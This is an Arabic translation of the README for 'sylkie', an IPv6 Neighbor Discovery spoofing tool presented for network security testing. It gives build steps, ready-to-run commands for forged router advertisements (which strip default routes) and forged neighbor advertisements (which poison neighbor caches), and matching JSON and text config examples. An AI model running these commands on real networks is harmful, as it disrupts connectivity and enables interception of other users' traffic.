
انتحال عنوان IPv6 باستخدام بروتوكول اكتشاف الجيران
sylkieأداة سطر أوامر ومكتبة لاختبار الشبكات لثغرات أمنية شائعة في انتحال العناوين في شبكات IPv6 باستخدام بروتوكول اكتشاف الجيران.
ملاحظة: لا يزال هذا المشروع في مراحله المبكرة من التطوير. إذا واجهت أي مشاكل، يرجى التفكير في تقديم issue. يعمل حالياً فقط على لينكس.
انظر الويكي لمزيد من التفاصيل.
احصل على الكود وقم بتجميعه!
# احصل على الكود
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# قم بتجميع الكود
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
فيما يلي وصف للاستخدام الأساسي لـ sylkie. قم بتشغيل sylkie -h أو
sylkie <subcommand> -h لمزيد من التفاصيل أو تحقق من
الاستخدام المتقدم
لمزيد من الأمثلة.
ملاحظة: يستخدم sylkie raw sockets
لإرسال الإعلانات المزيفة. نتيجة لذلك، يجب أن يكون للملف القابل للتنفيذ إما بت setuid مضبوط، أو يجب تشغيله كجذر.
الاستخدام الأساسي لأمر router-advert مذكور أدناه.
سيقوم هذا الأمر بإرسال رسالة إعلان موجه إلى عنوان IP المعطى أو عنوان البث المتعدد لجميع العقد، مما يتسبب في حذف العقد المستهدفة <router-ip>/<prefix> من قائمة المسارات الافتراضية الخاصة بها.
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
مثال أساسي.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
سيؤدي ذلك إلى إرسال إعلان موجه "مزيف" إلى عنوان جميع العقد في النطاق المحلي للرابط ff02::1، مما يتسبب في حذف جميع العقد لـ
fe80::b95b:ee1:cafe:9720/64 (عنوان طبقة الارتباط 52:54:00:e3:f4:06)
من قائمة المسارات الافتراضية الخاصة بها.
الاستخدام الأساسي لأمر sylkie neighbor advert مذكور أدناه. سيقوم هذا الأمر بإرسال رسالة إعلان جوار مزيفة إلى عنوان IP المعطى.
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>
مثال أساسي
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
سيؤدي ذلك إلى إرسال رسالة إعلان جوار "مزيفة" إلى dst-ip
(fe80::b95b:ee1:cafe:9720)، مما يتسبب في تحديث عنوان الأجهزة في ذاكرة التخزين المؤقت للجيران الخاصة بـ target-ip (fe80::61ad:fda3:3032:f6f4) إلى
target-mac (52:54:00:c2:a7:7c).
تتطلب الأوامر أعلاه قدراً لا بأس به من المعلومات. لتسهيل الأمور، يقبل sylkie
أيضاً ملفات json وملفات نصية عادية تحتوي على المعلومات اللازمة لبدء إرسال الإعلانات المزيفة.
الأمر الفرعي (router-advert، neighbor-advert) هو مفتاح قيمته
مصفوفة من الكائنات، حيث تكون المفاتيح والقيم هي الخيارات
والقيم المقابلة. لتشغيل الأمر، مرر مسار ملف json كوسيطة للخيار -j.
لتشغيل مثال router-advert الموضح أعلاه من json، قم أولاً بإنشاء
ملف بالمحتوى التالي.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
بعد إنشاء الملف، ابدأ في إرسال الإعلانات بالأمر التالي.
sylkie -j /path/to/json
يجب أن يكون كل سطر في الملف هو بالضبط ما ستقدمه عبر
سطر الأوامر باستثناء أمر sylkie.
لتشغيل مثال neighbor-advert الموضح أعلاه من json، قم أولاً بإنشاء
ملف بالمحتوى التالي.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
بعد إنشاء الملف، ابدأ في إرسال الإعلانات بالأمر التالي.
sylkie -x /path/to/file